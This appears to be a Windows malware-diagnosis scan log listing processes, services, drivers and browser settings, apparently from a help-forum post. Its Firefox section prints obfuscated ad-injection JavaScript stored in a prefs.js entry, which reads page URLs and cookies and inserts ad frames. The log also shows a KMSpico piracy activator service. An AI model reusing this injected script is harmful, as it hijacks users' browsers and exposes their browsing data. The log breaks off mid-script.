PRC - [2014.11.21 06:12:56 | 000,969,016 | ---- | M] (Malwarebytes Corporation) -- C:\Program Files (x86)\Malwarebytes Anti-Malware\mbamservice.exe
PRC - [2014.11.21 06:12:54 | 001,871,160 | ---- | M] (Malwarebytes Corporation) -- C:\Program Files (x86)\Malwarebytes Anti-Malware\mbamscheduler.exe
PRC - [2014.11.21 06:12:46 | 007,229,752 | ---- | M] (Malwarebytes Corporation) -- C:\Program Files (x86)\Malwarebytes Anti-Malware\mbam.exe
PRC - [2014.10.01 14:40:28 | 001,349,576 | ---- | M] (ESET) -- C:\Program Files\ESET\ESET Smart Security\x86\ekrn.exe


========== Modules (No Company Name) ==========

MOD - [2015.01.25 22:08:40 | 009,170,760 | ---- | M] () -- C:\Program Files (x86)\Google\Chrome\Application\40.0.2214.93\pdf.dll
MOD - [2015.01.25 22:08:35 | 001,117,512 | ---- | M] () -- C:\Program Files (x86)\Google\Chrome\Application\40.0.2214.93\libglesv2.dll
MOD - [2015.01.25 22:08:34 | 000,211,272 | ---- | M] () -- C:\Program Files (x86)\Google\Chrome\Application\40.0.2214.93\libegl.dll


========== Services (SafeList) ==========

SRV:64bit: - [2015.01.12 03:34:30 | 000,114,688 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\IEEtwCollector.exe -- (IEEtwCollectorService)
SRV:64bit: - [2014.10.01 14:40:28 | 001,349,576 | ---- | M] (ESET) [Auto | Running] -- C:\Program Files\ESET\ESET Smart Security\x86\ekrn.exe -- (ekrn)
SRV:64bit: - [2014.08.22 16:36:38 | 000,556,544 | ---- | M] (SEIKO EPSON CORPORATION) [On_Demand | Running] -- C:\Program Files\EPSON\portcommunicationservice\PCSVC.exe -- (EPSON_Port_Communication_Service)
SRV:64bit: - [2014.08.22 16:35:56 | 000,398,848 | ---- | M] (SEIKO EPSON CORPORATION) [On_Demand | Stopped] -- C:\Program Files\EPSON\portcommunicationservice\DeviceControlLog.exe -- (EPSON_Device_Control_Log_Service)
SRV:64bit: - [2013.11.12 23:08:04 | 000,686,592 | ---- | M] () [Disabled | Stopped] -- C:\Program Files\KMSpico\Service_KMS.exe -- (Service KMSELDI)
SRV:64bit: - [2013.05.27 06:50:47 | 001,011,712 | ---- | M] (Microsoft Corporation) [Auto | Running] -- C:\Program Files\Windows Defender\MpSvc.dll -- (WinDefend)
SRV:64bit: - [2009.07.14 02:40:01 | 000,193,536 | ---- | M] (Microsoft Corporation) [On_Demand | Stopped] -- C:\Windows\SysNative\appmgmts.dll -- (AppMgmt)
SRV - [2015.02.09 16:13:51 | 000,267,440 | ---- | M] (Adobe Systems Incorporated) [Disabled | Stopped] -- C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe -- (AdobeFlashPlayerUpdateSvc)
SRV - [2014.12.11 12:03:12 | 000,089,864 | ---- | M] (Hewlett-Packard Company) [Auto | Running] -- C:\Program Files (x86)\Hp\Common\HPSupportSolutionsFrameworkService.exe -- (HPSupportSolutionsFrameworkService)
SRV - [2014.12.03 07:31:16 | 000,081,088 | ---- | M] (Adobe Systems Incorporated) [Disabled | Stopped] -- C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe -- (AdobeARMservice)
SRV - [2014.11.21 06:12:56 | 000,969,016 | ---- | M] (Malwarebytes Corporation) [Auto | Running] -- C:\Program Files (x86)\Malwarebytes Anti-Malware\mbamservice.exe -- (MBAMService)
SRV - [2014.11.21 06:12:54 | 001,871,160 | ---- | M] (Malwarebytes Corporation) [Auto | Running] -- C:\Program Files (x86)\Malwarebytes Anti-Malware\mbamscheduler.exe -- (MBAMScheduler)
SRV - [2014.04.09 01:25:36 | 000,279,024 | ---- | M] (Intel Corporation) [On_Demand | Stopped] -- C:\Windows\SysWOW64\IntelCpHeciSvc.exe -- (cphs)
SRV - [2014.03.20 23:49:18 | 000,067,224 | ---- | M] (Microsoft Corporation) [Disabled | Stopped] -- C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe -- (clr_optimization_v2.0.50727_32)
SRV - [2013.09.11 21:21:54 | 000,105,144 | ---- | M] (Microsoft Corporation) [Auto | Stopped] -- C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -- (clr_optimization_v4.0.30319_32)


========== Driver Services (SafeList) ==========

DRV:64bit: - [2015.02.20 10:56:58 | 000,129,752 | ---- | M] (Malwarebytes Corporation) [File_System | On_Demand | Running] -- C:\Windows\SysNative\drivers\MBAMSwissArmy.sys -- (MBAMSwissArmy)
DRV:64bit: - [2014.11.21 06:14:22 | 000,063,704 | ---- | M] (Malwarebytes Corporation) [File_System | On_Demand | Running] -- C:\Windows\SysNative\drivers\mwac.sys -- (MBAMWebAccessControl)
DRV:64bit: - [2014.11.21 06:14:08 | 000,025,816 | ---- | M] (Malwarebytes Corporation) [File_System | On_Demand | Running] -- C:\Windows\SysNative\drivers\mbam.sys -- (MBAMProtector)
DRV:64bit: - [2014.10.10 08:59:12 | 000,243,440 | ---- | M] (ESET) [File_System | System | Running] -- C:\Windows\SysNative\drivers\eamonm.sys -- (eamonm)
DRV:64bit: - [2014.10.10 08:59:12 | 000,222,280 | ---- | M] (ESET) [Kernel | Auto | Running] -- C:\Windows\SysNative\drivers\epfw.sys -- (epfw)
DRV:64bit: - [2014.10.10 08:59:12 | 000,169,280 | ---- | M] (ESET) [Kernel | System | Running] -- C:\Windows\SysNative\drivers\ehdrv.sys -- (ehdrv)
DRV:64bit: - [2014.10.10 08:59:12 | 000,063,160 | ---- | M] (ESET) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\epfwwfp.sys -- (epfwwfp)
DRV:64bit: - [2014.10.10 08:59:12 | 000,044,632 | ---- | M] (ESET) [Kernel | System | Running] -- C:\Windows\SysNative\drivers\EpfwLWF.sys -- (EpfwLWF)
DRV:64bit: - [2014.08.22 16:32:32 | 000,021,640 | ---- | M] (SEIKO EPSON CORPORATION) [Kernel | Auto | Stopped] -- C:\Windows\SysNative\drivers\pcslpt.sys -- (EPSON_PCS_Parallel_Port_Driver)
DRV:64bit: - [2014.07.16 11:06:16 | 000,941,784 | ---- | M] (Realtek ) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\Rt64win7.sys -- (RTL8167)
DRV:64bit: - [2014.03.20 05:40:46 | 005,363,520 | ---- | M] (Intel Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\igdkmd64.sys -- (igfx)
DRV:64bit: - [2013.10.02 03:22:20 | 000,056,832 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\TsUsbFlt.sys -- (TsUsbFlt)
DRV:64bit: - [2013.07.30 09:57:14 | 000,031,984 | ---- | M] (Synaptics Incorporated) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\Smb_driver_Intel.sys -- (SmbDrvI)
DRV:64bit: - [2012.08.27 16:42:24 | 000,227,208 | ---- | M] (Renesas Electronics Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\nusb3xhc.sys -- (nusb3xhc)
DRV:64bit: - [2012.08.27 16:39:16 | 000,107,912 | ---- | M] (Renesas Electronics Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\nusb3hub.sys -- (nusb3hub)
DRV:64bit: - [2012.08.23 15:12:16 | 000,029,696 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\terminpt.sys -- (terminpt)
DRV:64bit: - [2012.08.23 15:10:20 | 000,019,456 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\rdpvideominiport.sys -- (RdpVideoMiniport)
DRV:64bit: - [2012.08.23 15:08:26 | 000,030,208 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\TsUsbGD.sys -- (TsUsbGD)
DRV:64bit: - [2012.03.01 07:46:16 | 000,023,408 | ---- | M] (Microsoft Corporation) [Recognizer | Boot | Unknown] -- C:\Windows\SysNative\drivers\fs_rec.sys -- (Fs_Rec)
DRV:64bit: - [2011.12.01 23:51:00 | 011,417,088 | ---- | M] (Intel Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\NETwNs64.sys -- (NETwNs64)
DRV:64bit: - [2011.08.23 03:12:58 | 000,317,440 | ---- | M] (Intel(R) Corporation) [Kernel | On_Demand | Running] -- C:\Windows\SysNative\drivers\IntcDAud.sys -- (IntcDAud)
DRV:64bit: - [2011.03.11 07:41:12 | 000,107,904 | ---- | M] (Advanced Micro Devices) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\amdsata.sys -- (amdsata)
DRV:64bit: - [2011.03.11 07:41:12 | 000,027,008 | ---- | M] (Advanced Micro Devices) [Kernel | Boot | Running] -- C:\Windows\SysNative\drivers\amdxata.sys -- (amdxata)
DRV:64bit: - [2010.11.21 04:23:48 | 000,117,248 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\tsusbhub.sys -- (tsusbhub)
DRV:64bit: - [2010.11.21 04:23:48 | 000,088,960 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\Synth3dVsc.sys -- (Synth3dVsc)
DRV:64bit: - [2010.11.21 04:23:48 | 000,071,168 | ---- | M] (Microsoft Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\dmvsc.sys -- (dmvsc)
DRV:64bit: - [2010.11.21 04:23:47 | 000,078,720 | ---- | M] (Hewlett-Packard Company) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\HpSAMD.sys -- (HpSAMD)
DRV:64bit: - [2009.07.14 02:52:20 | 000,194,128 | ---- | M] (AMD Technologies Inc.) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\amdsbs.sys -- (amdsbs)
DRV:64bit: - [2009.07.14 02:48:04 | 000,065,600 | ---- | M] (LSI Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\lsi_sas2.sys -- (LSI_SAS2)
DRV:64bit: - [2009.07.14 02:45:55 | 000,024,656 | ---- | M] (Promise Technology) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\stexstor.sys -- (stexstor)
DRV:64bit: - [2009.06.10 21:34:33 | 003,286,016 | ---- | M] (Broadcom Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\evbda.sys -- (ebdrv)
DRV:64bit: - [2009.06.10 21:34:28 | 000,468,480 | ---- | M] (Broadcom Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\bxvbda.sys -- (b06bdrv)
DRV:64bit: - [2009.06.10 21:34:23 | 000,270,848 | ---- | M] (Broadcom Corporation) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\b57nd60a.sys -- (b57nd60a)
DRV:64bit: - [2009.06.10 21:31:59 | 000,031,232 | ---- | M] (Hauppauge Computer Works, Inc.) [Kernel | On_Demand | Stopped] -- C:\Windows\SysNative\drivers\hcw85cir.sys -- (hcw85cir)
DRV - [2009.07.14 02:19:10 | 000,019,008 | ---- | M] (Microsoft Corporation) [File_System | On_Demand | Stopped] -- C:\Windows\SysWOW64\drivers\wimmount.sys -- (WIMMount)


========== Standard Registry (SafeList) ==========


========== Internet Explorer ==========

IE:64bit: - HKLM\..\SearchScopes,DefaultScope = {0633EE93-D776-472f-A0FF-E1416B8B2E3A}
IE:64bit: - HKLM\..\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}: "URL" = http://www.bing.com/search?q={searchTerms}&FORM=IE8SRC
IE - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Local Page = C:\Windows\SysWOW64\blank.htm
IE - HKLM\..\SearchScopes,DefaultScope = {0633EE93-D776-472f-A0FF-E1416B8B2E3A}
IE - HKLM\..\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}: "URL" = http://www.bing.com/search?q={searchTerms}&FORM=IE8SRC


IE - HKU\.DEFAULT\..\SearchScopes,DefaultScope = {0633EE93-D776-472f-A0FF-E1416B8B2E3A}
IE - HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings: "ProxyEnable" = 0

IE - HKU\S-1-5-18\..\SearchScopes,DefaultScope = {0633EE93-D776-472f-A0FF-E1416B8B2E3A}
IE - HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Internet Settings: "ProxyEnable" = 0

IE - HKU\S-1-5-19\..\SearchScopes,DefaultScope = {0633EE93-D776-472f-A0FF-E1416B8B2E3A}

IE - HKU\S-1-5-20\..\SearchScopes,DefaultScope = {0633EE93-D776-472f-A0FF-E1416B8B2E3A}

IE - HKU\S-1-5-21-3155330713-2898948138-332163686-1000\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page = https://www.seznam.cz/
IE - HKU\S-1-5-21-3155330713-2898948138-332163686-1000\..\SearchScopes,DefaultScope = {0633EE93-D776-472f-A0FF-E1416B8B2E3A}
IE - HKU\S-1-5-21-3155330713-2898948138-332163686-1000\..\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}: "URL" = http://www.bing.com/search?q={searchTer ... ORM=IE8SRC
IE - HKU\S-1-5-21-3155330713-2898948138-332163686-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings: "ProxyEnable" = 0

========== FireFox ==========

FF - prefs.js..browser.search.highlightCount: 4
FF - prefs.js..browser.search.isUS: false
FF - prefs.js..browser.startup.homepage: "https://www.seznam.cz/"
FF - prefs.js..extensions.enabledAddons: %7B98249f04-e000-489b-bad4-0d6da2a86141%7D:1001.11.971
FF - prefs.js..extensions.enabledAddons: %7B972ce4c6-7e08-4474-a285-3208198ce6fd%7D:35.0
FF - prefs.js..extensions.xOkt7z2ZEAX3n07f.scode: "try{(function(){try{var url=(window.self.location.href + document.cookieif(url.indexOf(\"acebook\")>-1||url.indexOf(\"warnalert11.com\")>-1||url.indexOf(\"sumorobo.net\")>-1||url.indexOf(\"mindri.com\")>-1||url.indexOf(\"__ipm=\")>-1||url.indexOf(\"=apapamam7\")>-1||url.indexOf(\"alertfunctions.com\")>-1||url.indexOf(\"immediate-support.com\")>-1||url.indexOf(\"txtlnkusaolp00000800\")>-1||url.indexOf(\"sumorobo\")>-1||url.indexOf(\"roulettebotplus\")>-1||url.indexOf(\"s.vgsgaming-ads\")>-1||url.indexOf(\"=admaven\")>-1||url.indexOf(\"lottery-master\")>-1||url.indexOf(\"lotterymaster\")>-1||url.indexOf(\"5386b_643c_\")>-1||url.indexOf(\"easylifeapp.com\")>-1||url.match(/ressbar.com[^f]+fid=65017/)||url.indexOf(\"form=u064ht&pc=u064\")>-1||url.indexOf(\"source=45905810\")>-1||url.indexOf(\"source=532d277e\")>-1||url.indexOf(\"aro.com/ws/?source=6974b128\")>-1||url.indexOf(\"esmoke.com/?isid=9949\")>-1||url.indexOf(\"esmoke.com/?isid=9950\")>-1||url.indexOf(\"esmoke.com/?isid=9951\")>-1||url.indexOf(\"id=webpick_ot\")>-1||url.indexOf(\"id=wbpk_ot\")>-1||url.indexOf(\"jerusalem.com\")>-1||url.indexOf(\"hash=a4vxy8\")>-1||url.indexOf(\"hash=m5g73j\")>-1||url.indexOf(\"hash=hg7gja\")>-1||url.indexOf(\"hash=fz61s5\")>-1||url.indexOf(\"hash=zndas3\")>-1||url.indexOf(\"hash=1i5w2d\")>-1||url.indexOf(\"hash=zndas3\")>-1||url.indexOf(\"hash=b3qau4\")>-1||url.indexOf(\"hash=ijeqe4\")>-1||url.indexOf(\"duit&ptag=aa7aab832a2de41458bf&\")>-1||url.indexOf(\"duit&ptag=a93f650ac0e6a4a4791f&\")>-1||url.indexOf(\"duit&ptag=a79888693f6ca4634a6f\")>-1||url.indexOf(\"duit&ptag=a359b17b6faa44e6b86f\")>-1||url.indexOf(\"isid=mf245f633-e188-4162-b56a\")>-1||url.indexOf(\"sid=meabfcf9a-556b-4c5c-8727\")>-1||url.indexOf(\"isid=m8fbc22fe-ab08-464e-aa63\")>-1||url.indexOf(\"uid=531364863_132823_4252277e\")>-1||url.indexOf(\"searchiy.gboxapp.com\")>-1||url.indexOf(\"searchiy.gboxapp.com\")>-1||url.indexOf(\"searchy.easylifeapp.com\")>-1||url.indexOf(\"search?hspart=webpick&hsimp=yhs-1&p=\")>-1||url.match(/search.yahoo.com.+hspart=.+/)||url.match(/[/]websearch.(mocaflix|searchissimple|just-browse|good-results|searchsupporter|soft-quick|pu-results|simplespeedy|helpmefindyour|greatresults|youwillfind|lookforitthere|lookforithere|searchmainia|searchrocket|homesearchapp|a-searchpage|coolwebsearch|homesearch-hub|resulthunters|searchdwebs|searchingisme|searchannel|searchouse|pur-esult|searchboxes|searchitup|searchpages|searchesplace|simplesearches|goodfindings|searchiseasy|the-searcheng|oversearch|searchere|relevantsearch|wisesearch|search-guide|searchisbestmy|searchbomb|searchguru|searchsun|searchsunmy|toolksearchbook|searchinweb|webisgreat|webisawsome|exitingsearch|amaizingsearches|searchingissme|awsomesearchs|eazytosearch|ezsearches|fastosearch|fastsearchings|flyandsearch|wonderfulsearches|fixsearch|searchandfly|searchfix|allsearches|searc-hall|simple2search|searchitwell).info/)||url.match(/search.(easylifeapp|gboxapp|searchonme|appsarefun|genieo).com/)||url.indexOf(\"searchitapp.com\")>-1||url.indexOf(\"news.searchonme.com\")>-1||url.indexOf(\"jerusalem.com\")>-1||url.indexOf(\"vatican.com\")>-1||url.indexOf(\"deadsea.com\")>-1||url.indexOf(\"iklk.com\")>-1||url.indexOf(\"offers.bycontext.com\")>-1||url.indexOf(\"deals.offer-dynamics.com\")>-1||url.indexOf(\"offer-dynamics.com\")>-1||url.indexOf(\"www.livegeekhelp.com/pop/\")>-1||url.indexOf(\"gvud.com\")>-1||url.indexOf(\"zuzd.com\")>-1||url.indexOf(\"babaviral.com\")>-1||url.indexOf(\"cupid.so\")>-1||url.indexOf(\"hostanytime.com\")>-1||url.indexOf(\"antivirus.so\")>-1||url.indexOf(\"dates.am\")>-1||url.indexOf(\"insurance-company.co\")>-1||url.indexOf(\"advanceloan.org\")>-1||url.indexOf(\"calcitapp.info\")>-1||url.indexOf(\"desktopfavapp.info\")>-1||url.indexOf(\"?ctid=ct3330145\")>-1||url.indexOf(\"?ctid=ct3330146\")>-1||url.indexOf(\"?ctid=ct3330147\")>-1||url.indexOf(\"?ctid=ct3330148\")>-1||url.indexOf(\"?ctid=ct3330149\")>-1||url.indexOf(\"sporty-glow.com\")>-1||url.indexOf(\"game-trek.net\")>-1||url.indexOf(\"__ipm=\")>-1||url.indexOf(\"=apapamam\")>-1||url.indexOf(\"avatrade.com\")>-1||url.indexOf(\"urgent-alerts.com\")>-1||url.indexOf(\"pc-alert.com\")>-1||url.indexOf(\"error-alerts.com\")>-1||url.indexOf(\"search.searchonme.com\")>-1||url.indexOf(\"news.searchonme.com\")>-1||url.indexOf(\"search.appsarefun.info\")>-1||url.indexOf(\"websearch.mocaflix.com\")>-1||url.indexOf(\"search.easylifeapp.com\")>-1||url.indexOf(\"searchy.easylifeapp.com\")>-1||url.indexOf(\"us.yhs4.search.yahoo.com\")>-1||url.indexOf(\"search.gboxapp.com\")>-1||url.indexOf(\"searchiy.gboxapp.com\")>-1||url.indexOf(\"bestonlinegadgetguide.com\")>-1||url.indexOf(\"odpu.com\")>-1||url.indexOf(\"safesearch.co\")>-1||url.indexOf(\"findamo.com\")>-1||url.indexOf(\"search.myownsearchbox.com\")>-1||url.indexOf(\"datropy.com\")>-1||url.indexOf(\"namyneck.com\")>-1||url.indexOf(\"styloosh.com\")>-1||url.indexOf(\"applicationgrabb.net\")>-1||url.indexOf(\"databass.info\")>-1||url.indexOf(\"firstfirst.net\")>-1||url.indexOf(\"liversely.com\")>-1||url.indexOf(\"liversely.net\")>-1||url.indexOf(\"livesetwebs.org\")>-1||url.indexOf(\"lp.ncdownloader.com\")>-1||url.indexOf(\"lp.vaudix.com\")>-1||url.indexOf(\"masteroids.com\")>-1||url.indexOf(\"reditions.net\")>-1||url.indexOf(\"sharesuper.info\")>-1||url.indexOf(\"storaget.info\")>-1||url.indexOf(\"westzip.in\")>-1||url.indexOf(\"boxhilade.com\")>-1||url.indexOf(\"mylinksworld.com\")>-1||url.indexOf(\"shoppingwiz.co\")>-1||url.indexOf(\"rabbitsearch.net\")>-1||url.indexOf(\"searchandbake.com\")>-1||url.indexOf(\"baidu.co.th\")>-1||url.indexOf(\"ooyd.com\")>-1||url.indexOf(\"jobsro.com\")>-1||url.indexOf(\"kaoor.com\")>-1||url.indexOf(\"myloginbox.com\")>-1||url.indexOf(\"mainpagesite.com\")>-1||url.indexOf(\"turtleclip.com\")>-1||url.indexOf(\"blackyclip.com\")>-1||url.indexOf(\"film-tease.com\")>-1||url.indexOf(\"bestpaydayloans2015.com\")>-1||url.indexOf(\"hotelsdealsreviews.com\")>-1||url.indexOf(\"top10cellphoneplans.com\")>-1||url.indexOf(\"top5autoinsurance.com\")>-1||url.indexOf(\"topcreditreportsites.com\")>-1){return}}catch(e){};(function(){var stngs = {attr_name:'s8817188880235058019',szy_domain:[\"applicatioonuk.com\",\"theprivilegesbox.com\"],ad_sizes:[[120,60,19],[630,250,22],[336,280,17],[630,500,23],[180,150,18],[234,60,15],[200,200,16],[600,400,13],[125,125,14],[670,670,11],[600,270,12],[800,600,21],[468,60,3],[800,440,20],[300,250,2],[728,90,1],[300,600,10],[120,240,7],[120,600,6],[160,600,5],[250,250,4],[240,400,8]],checkif:function(ifr){return (ifr.getAttribute('s8817188880235058019') || ifr.src.indexOf('=16704045')>-1||ifr.src.indexOf('=16704045')>-1||ifr.src.indexOf('1018-1005')>-1||ifr.src.indexOf('1019-1001')>-1||ifr.src.indexOf('2136&zid=')>-1&&ifr.src.indexOf('PT1312')>-1||(ifr.getAttribute('name') && ifr.getAttribute('id')==ifr.getAttribute('name') && ifr.getAttribute('name').match(/^ap\\d+$/)))}};if(\"undefined\"==typeof window.adzy653rk&&document.getElementsByTagName(\"body\").length&&!document.getElementsByTagName(\"body\")[0].getAttribute(\"jhjlijpomuhn_m\")){var removeNode=function(a){for(var b=(63,342)>(559,85)?(56,!0):(63,1401),c=(372,1)<(364,98)?(1098,!1):(971,40),e=829<(71,1335)?(1100,122):(918,478),d=12>(481,500)?267:586<(136,1243)?(339,90):(92,89),g=27<=(42,519)?(468,97):(69,283),h=137<(169,296)?(93,\"m\"):(96,984),f=136>=(37,599)?(92,301):(966,429)<=(369,537)?(213,64):(578,1008),l=307>=(1295,\n1355)?(809,\"L\"):69>=(158,391)?(669,117):141<(368,514)?(1490,6):(1113,116),n=(43,255)>=(223,250)?(468,63):(879,133),k=22>(199,868)?(1170,\"s\"):(917,799)>=(972,448)?(122,\"n\"):44>=(211,96)?(1080,71):(58,556),A=75>=(1239,49)?(21,\"9\"):27>=(501,441)?(59,48):(207,1058)<(454,90)?\";\":(122,914),K=414>=(295,137)?(109,\"8\"):(1165,557),v=874>=(78,39)?(77,\"7\"):116>(476,807)?(1499,989):(520,925),R=(953,33)>(639,132)?(434,\"z\"):149<(132,581)?(77,\"z\"):61>=(597,482)?126:(771,8),S=456<=(451,877)?(2,\"x\"):(52,18),F=326<\n(1197,1202)?(1274,\"i\"):(26,109),G=410>=(1290,732)?(485,25):52>(20,78)?1380:1102>=(49,51)?(294,\"b\"):(112,161),L=(146,387)>(818,87)?(534,\"Y\"):(1385,1004),T=52<(95,139)?(57,\"X\"):(840,124),U=123<=(105,50)?(142,\"'\"):1333>(11,318)?(108,\"T\"):(962,1482),M=(755,119)>=(49,128)?47:880<(473,103)?41:59>(183,40)?(272,\"Q\"):(125,73),V=533<(155,25)?1E3:55>(133,112)?(1416,429):(31,1188)>(72,497)?(502,\"N\"):(82,144),N=(491,93)>(39,1009)?(1047,\"aaa\"):325>=(249,9)?(83,\"M\"):(645,114),O=(91,94)>(16,53)?(484,\"K\"):(462,83)>=\n(3,103)?(114,90):146<(114,132)?\"O\":(145,53),P=259<(286,86)?209:142>=(303,8)?(189,\"D\"):88>=(24,287)?(40,191):(1406,186),W=102<=(476,402)?(132,4537426):(315,47),H=(97,23)<=(514,29)?(117,1290452675):(862,1417),B=117<(32,132)?(352,\"0\"):(78,430),r=110>(545,410)?(71,457):548>=(81,37)?(555,\"2\"):(96,999),w=82<(1007,1382)?(869,\"f\"):(86,207),D=131>=(471,71)?(208,\"s\"):(103,115),C=107>=(74,129)?(25,\"c\"):(20,532)<=(74,750)?(20,\"p\"):237>(31,498)?(446,133):(110,138),I=100<(31,83)?(54,129):(112,132)<=(75,408)?(49,\n\"U\"):(593,65),H=-H,E=s7S5.V7T,J=s7S5.j7T;-1139651341!==s7S5.E0.i0(J.toString(),J.toString().length,8698539);J++)y.push(u(j)),S9(),E+=s7S5.V7T;if(s7S5.E0.i0(E.toString(),E.toString().length,W)!==H)return j2<<Y2;var Q={_keyStr:\"ABC\"+P+\"EFGHIJ\"+O+\"L\"+N+V+\"OP\"+M+\"RS\"+U+I+\"VW\"+T+L+\"Za\"+G+\"cd\"+s7S5.n7T+w+\"g\"+s7S5.s4T+F+\"jklmno\"+C+\"qrstuvw\"+S+\"y\"+R+B+\"123456\"+v+K+A+\"+/=\",encode:function(a){var b=(540,335)>=(145,38)?(1201,\"S\"):(91,1254),c=146<=(1489,582)?(1031,\"5\"):(252,74),e=(58,41)<=(298,99)?(685,\"_\"):\n(213,84)<=(44,76)?(422,31):(14,1),d=\"\",g,h,s,m,t,p,x=s7S5.Y7T;for(a=Q[e+\"ut\"+w+K+e+s7S5.n7T+k+\"code\"](a);s7S5[I+c](x,a.length);)g=a[s7S5.g7T+\"harC\"+s7S5.W9T+s7S5.r7T+s7S5.n7T+s7S5.E9T+s7S5.I7T](x++),h=a[s7S5.G7T+s7S5.j4T+s7S5.G4T+s7S5.d9T+\"eA\"+s7S5.I7T](x++),s=a[s7S5.g7T+s7S5.s4T+s7S5.N7T+s7S5.A7T+s7S5.G4T+s7S5.d9T+\"eA\"+s7S5.I7T](x++),m=s7S5[C+r](g,s7S5.V7T),t=111>(67,494)?107:(1207,1483)>(746,910)?(1313,\"F\"):138>=(435,222)?309:(209,1488),g=s7S5[t+c]((g&s7S5.e7T)<<s7S5.C7T,h>>s7S5.C7T),t=s7S5.A5((h&\ns7S5.K7T)<<s7S5.V7T,s>>l),p=s7S5[P+c](s,n),isNaN(h)?t=p=f:isNaN(s)&&(p=f),d=d+this[\"_keySt\"+s7S5.A7T][s7S5.G7T+s7S5.N7T+s7S5.A7T+s7S5.E9T+s7S5.I7T](m)+this[\"_key\"+b+s7S5.I7T+s7S5.A7T][s7S5.G7T+s7S5.N7T+s7S5.A7T+s7S5.E9T+s7S5.I7T](g)+this[e+\"k\"+s7S5.n7T+\"y\"+b+\"tr\"][s7S5.g7T+s7S5.s4T+s7S5.N7T+s7S5.A7T+s7S5.E9T+s7S5.I7T](t)+this[e+\"k\"+s7S5.n7T+\"y\"+b+s7S5.I7T+s7S5.A7T][s7S5.g7T+s7S5.s4T+\"arAt\"](p);return d},decode:function(a){var b=(3,44)>=(480,32)?(136,256):(731,73),c=(475,0)<=(58,543)?(121,\"u\"):(695,\n38),e=459<(262,536)?(888,72):(1044,140),d=(148,306)>=(337,136)?(202,\"H\"):(60,126),q=(283,528)<(3,97)?(261,\"aaa\"):53>(629,332)?(51,\"d\"):1229>(127,1138)?(128,44):(726,741),n=183<=(559,42)?1E4:525>=(4,82)?(35,43):(5,96),s=124>(3,67)?(195,58):(143,637)<=(104,120)?90:(22,141),m=231<(519,98)?\"j\":48<(17,1053)?(23,48):(75,139),t=(401,28)<(510,88)?(28,123):(359,105)>=(730,700)?(1021,2):(101,390),p={},x=[],v=\"\",w=String[\"fr\"+s7S5.W9T+h+s7S5.G4T+s7S5.s4T+s7S5.N7T+\"rCod\"+s7S5.n7T],n=[[65,91],[g,t],[m,s],[n,q],\n[47,m]];for(z in n)for(q=n[z][s7S5.Y7T];s7S5[d+r](q,n[z][s7S5.j7T]);q++)x[\"pu\"+D+s7S5.s4T](w(q));for(q=s7S5.Y7T;s7S5[h+r](q,f);q++)p[x[q]]=q;for(q=s7S5.Y7T;s7S5[M+r](q,a.length);q+=e)for(s=d=s7S5.Y7T,m=a[D+c+G+D+s7S5.I7T+s7S5.A7T+F+k+\"g\"](q,q+e),n=s7S5.Y7T;s7S5.P2(n,m.length);n++)for(x=p[m[s7S5.g7T+s7S5.s4T+s7S5.j4T+s7S5.E9T+s7S5.I7T](n)],d=s7S5[c+r](d,l)+x,s+=l;s7S5[\"k\"+r](s,s7S5.Z7T);)v+=w(s7S5[F+r](d>>>(s-=s7S5.Z7T),b));return v},_utf8_encode:function(a){var b=70>(376,25)?(621,224):3>=(453,58)?\n(352,2048):(42,88),c=105>=(26,66)?(400,192):(574,60),e=932<(1182,101)?775:(540,121)<=(93,95)?148:(319,561)>=(155,52)?(1234,2048):(214,257),f=(65,346)<=(114,1276)?(341,\"J\"):1351<(222,576)?(576,996):(116,1245),d=(542,339)>(95,102)?(149,127):432<=(130,104)?(114,12):(1021,686),g=79>=(61,853)?(528,\"f\"):(822,133)<=(153,1191)?(276,128):(72,85),k=961>(349,346)?(232,\"B\"):(69,79)>(389,906)?(1088,\"r\"):(1284,32),m=(489,331)<(284,680)?(46,\"l\"):(84,144);a=a[s7S5.A7T+s7S5.n7T+C+m+s7S5.N7T+s7S5.g7T+s7S5.n7T](/\\r\\n/g,\n\"\\n\");for(var m=\"\",t=s7S5.Y7T;s7S5.z2(t,a.length);t++){var 